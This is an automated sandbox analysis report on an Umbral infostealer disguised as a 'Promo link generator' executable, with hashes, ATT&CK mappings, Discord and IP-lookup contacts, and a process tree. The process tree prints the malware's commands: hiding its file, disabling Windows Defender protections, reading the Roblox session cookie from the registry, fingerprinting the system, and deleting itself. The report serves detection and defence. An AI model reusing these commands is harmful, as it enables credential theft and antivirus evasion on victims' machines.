umbral | 8f0352553ab0acb32642074579db93344be53f54c700ee70bef3335db09c6529

Analysis

max time kernel
93s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
14-02-2024 19:33

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General

Target

Amruus promo link generator/Promo link generator.exe
Size

228KB
MD5

4e711e7231a67ebf4278a6ba9e2a1f98
SHA1

9bc200a14d089e0fe869674ee5f4219e86dc3009
SHA256

cfb4919168697ab5bfaa045cbf2c647aa55c1ffc8f5109acf90f2e90af14f40a
SHA512

38ac5f01c19304431f1b862172fd0ed7b67fd8926c94e289a7a9b06a6772b02c7708f9ebeb3263269721d379dede458bd29d16fd6eb81eb500d85b202707ec0f
SSDEEP

6144:BloZMUrIkd8g+EtXHkv/iD409mMN5nsAv9R0STTKg/Yb8e1mIi:zoZrL+EP8gmMN5nsAv9R0STTKBm

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/452-0-0x00000250FFC20000-0x00000250FFC60000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Promo link generator.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1444	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3284	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
208	powershell.exe
208	powershell.exe
3444	powershell.exe
3444	powershell.exe
4464	powershell.exe
4464	powershell.exe
3888	powershell.exe
3888	powershell.exe
3024	powershell.exe
3024	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	452	Promo link generator.exe
Token: SeDebugPrivilege	208	powershell.exe
Token: SeDebugPrivilege	3444	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeIncreaseQuotaPrivilege	4964	wmic.exe
Token: SeSecurityPrivilege	4964	wmic.exe
Token: SeTakeOwnershipPrivilege	4964	wmic.exe
Token: SeLoadDriverPrivilege	4964	wmic.exe
Token: SeSystemProfilePrivilege	4964	wmic.exe
Token: SeSystemtimePrivilege	4964	wmic.exe
Token: SeProfSingleProcessPrivilege	4964	wmic.exe
Token: SeIncBasePriorityPrivilege	4964	wmic.exe
Token: SeCreatePagefilePrivilege	4964	wmic.exe
Token: SeBackupPrivilege	4964	wmic.exe
Token: SeRestorePrivilege	4964	wmic.exe
Token: SeShutdownPrivilege	4964	wmic.exe
Token: SeDebugPrivilege	4964	wmic.exe
Token: SeSystemEnvironmentPrivilege	4964	wmic.exe
Token: SeRemoteShutdownPrivilege	4964	wmic.exe
Token: SeUndockPrivilege	4964	wmic.exe
Token: SeManageVolumePrivilege	4964	wmic.exe
Token: 33	4964	wmic.exe
Token: 34	4964	wmic.exe
Token: 35	4964	wmic.exe
Token: 36	4964	wmic.exe
Token: SeIncreaseQuotaPrivilege	4964	wmic.exe
Token: SeSecurityPrivilege	4964	wmic.exe
Token: SeTakeOwnershipPrivilege	4964	wmic.exe
Token: SeLoadDriverPrivilege	4964	wmic.exe
Token: SeSystemProfilePrivilege	4964	wmic.exe
Token: SeSystemtimePrivilege	4964	wmic.exe
Token: SeProfSingleProcessPrivilege	4964	wmic.exe
Token: SeIncBasePriorityPrivilege	4964	wmic.exe
Token: SeCreatePagefilePrivilege	4964	wmic.exe
Token: SeBackupPrivilege	4964	wmic.exe
Token: SeRestorePrivilege	4964	wmic.exe
Token: SeShutdownPrivilege	4964	wmic.exe
Token: SeDebugPrivilege	4964	wmic.exe
Token: SeSystemEnvironmentPrivilege	4964	wmic.exe
Token: SeRemoteShutdownPrivilege	4964	wmic.exe
Token: SeUndockPrivilege	4964	wmic.exe
Token: SeManageVolumePrivilege	4964	wmic.exe
Token: 33	4964	wmic.exe
Token: 34	4964	wmic.exe
Token: 35	4964	wmic.exe
Token: 36	4964	wmic.exe
Token: SeIncreaseQuotaPrivilege	3692	wmic.exe
Token: SeSecurityPrivilege	3692	wmic.exe
Token: SeTakeOwnershipPrivilege	3692	wmic.exe
Token: SeLoadDriverPrivilege	3692	wmic.exe
Token: SeSystemProfilePrivilege	3692	wmic.exe
Token: SeSystemtimePrivilege	3692	wmic.exe
Token: SeProfSingleProcessPrivilege	3692	wmic.exe
Token: SeIncBasePriorityPrivilege	3692	wmic.exe
Token: SeCreatePagefilePrivilege	3692	wmic.exe
Token: SeBackupPrivilege	3692	wmic.exe
Token: SeRestorePrivilege	3692	wmic.exe
Token: SeShutdownPrivilege	3692	wmic.exe
Token: SeDebugPrivilege	3692	wmic.exe
Token: SeSystemEnvironmentPrivilege	3692	wmic.exe
Token: SeRemoteShutdownPrivilege	3692	wmic.exe
Token: SeUndockPrivilege	3692	wmic.exe
Token: SeManageVolumePrivilege	3692	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 452 wrote to memory of 4892	452	Promo link generator.exe	84
PID 452 wrote to memory of 4892	452	Promo link generator.exe	84
PID 452 wrote to memory of 208	452	Promo link generator.exe	86
PID 452 wrote to memory of 208	452	Promo link generator.exe	86
PID 452 wrote to memory of 3444	452	Promo link generator.exe	88
PID 452 wrote to memory of 3444	452	Promo link generator.exe	88
PID 452 wrote to memory of 4464	452	Promo link generator.exe	90
PID 452 wrote to memory of 4464	452	Promo link generator.exe	90
PID 452 wrote to memory of 3888	452	Promo link generator.exe	93
PID 452 wrote to memory of 3888	452	Promo link generator.exe	93
PID 452 wrote to memory of 4964	452	Promo link generator.exe	95
PID 452 wrote to memory of 4964	452	Promo link generator.exe	95
PID 452 wrote to memory of 3692	452	Promo link generator.exe	98
PID 452 wrote to memory of 3692	452	Promo link generator.exe	98
PID 452 wrote to memory of 3172	452	Promo link generator.exe	100
PID 452 wrote to memory of 3172	452	Promo link generator.exe	100
PID 452 wrote to memory of 3024	452	Promo link generator.exe	102
PID 452 wrote to memory of 3024	452	Promo link generator.exe	102
PID 452 wrote to memory of 1444	452	Promo link generator.exe	104
PID 452 wrote to memory of 1444	452	Promo link generator.exe	104
PID 452 wrote to memory of 4312	452	Promo link generator.exe	106
PID 452 wrote to memory of 4312	452	Promo link generator.exe	106
PID 4312 wrote to memory of 3284	4312	cmd.exe	108
PID 4312 wrote to memory of 3284	4312	cmd.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4892	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Amruus promo link generator\Promo link generator.exe
"C:\Users\Admin\AppData\Local\Temp\Amruus promo link generator\Promo link generator.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:452
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Amruus promo link generator\Promo link generator.exe"
  2⤵
  - Views/modifies file attributes
  PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Amruus promo link generator\Promo link generator.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3888
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4964
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3692
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3024
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1444
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Amruus promo link generator\Promo link generator.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:3284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
45ad40f012b09e141955482368549640

SHA1
3f9cd15875c1e397c3b2b5592805577ae88a96cb

SHA256
ea3b59172f1a33677f9cb3843fb4d6093b806d3a7cf2f3c6d4692f5421f656ce

SHA512
3de08f8affca1c1450088f560776cf3d65146cadac43c06eb922c7b3cea436e519966cf38458303ffeb1a58c53f8952cffda6c34216fda7594e014b516e83b33

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mggoxyhj.3q0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/208-10-0x000002987A980000-0x000002987A9A2000-memory.dmp

Filesize
136KB

Download
memory/208-13-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/208-14-0x000002987A9C0000-0x000002987A9D0000-memory.dmp

Filesize
64KB

Download
memory/208-15-0x000002987A9C0000-0x000002987A9D0000-memory.dmp

Filesize
64KB

Download
memory/208-18-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/452-37-0x0000025100000000-0x0000025100076000-memory.dmp

Filesize
472KB

Download
memory/452-88-0x0000025100080000-0x0000025100092000-memory.dmp

Filesize
72KB

Download
memory/452-87-0x00000250FFF20000-0x00000250FFF2A000-memory.dmp

Filesize
40KB

Download
memory/452-0-0x00000250FFC20000-0x00000250FFC60000-memory.dmp

Filesize
256KB

Download
memory/452-1-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/452-85-0x00000250800F0000-0x0000025080100000-memory.dmp

Filesize
64KB

Download
memory/452-38-0x00000250FFF70000-0x00000250FFFC0000-memory.dmp

Filesize
320KB

Download
memory/452-39-0x00000250FFF40000-0x00000250FFF5E000-memory.dmp

Filesize
120KB

Download
memory/452-111-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/452-76-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/452-91-0x00000250800F0000-0x0000025080100000-memory.dmp

Filesize
64KB

Download
memory/452-2-0x00000250800F0000-0x0000025080100000-memory.dmp

Filesize
64KB

Download
memory/3024-102-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/3024-103-0x000001307F510000-0x000001307F520000-memory.dmp

Filesize
64KB

Download
memory/3024-104-0x000001307F510000-0x000001307F520000-memory.dmp

Filesize
64KB

Download
memory/3024-106-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/3444-20-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/3444-22-0x000001ADC2110000-0x000001ADC2120000-memory.dmp

Filesize
64KB

Download
memory/3444-35-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/3444-33-0x000001ADC2110000-0x000001ADC2120000-memory.dmp

Filesize
64KB

Download
memory/3444-21-0x000001ADC2110000-0x000001ADC2120000-memory.dmp

Filesize
64KB

Download
memory/3888-82-0x000001BF19AC0000-0x000001BF19AD0000-memory.dmp

Filesize
64KB

Download
memory/3888-84-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/3888-70-0x000001BF19AC0000-0x000001BF19AD0000-memory.dmp

Filesize
64KB

Download
memory/3888-69-0x000001BF19AC0000-0x000001BF19AD0000-memory.dmp

Filesize
64KB

Download
memory/3888-68-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-67-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-65-0x000001E829D30000-0x000001E829D40000-memory.dmp

Filesize
64KB

Download
memory/4464-42-0x000001E829D30000-0x000001E829D40000-memory.dmp

Filesize
64KB

Download
memory/4464-41-0x000001E829D30000-0x000001E829D40000-memory.dmp

Filesize
64KB

Download
memory/4464-40-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download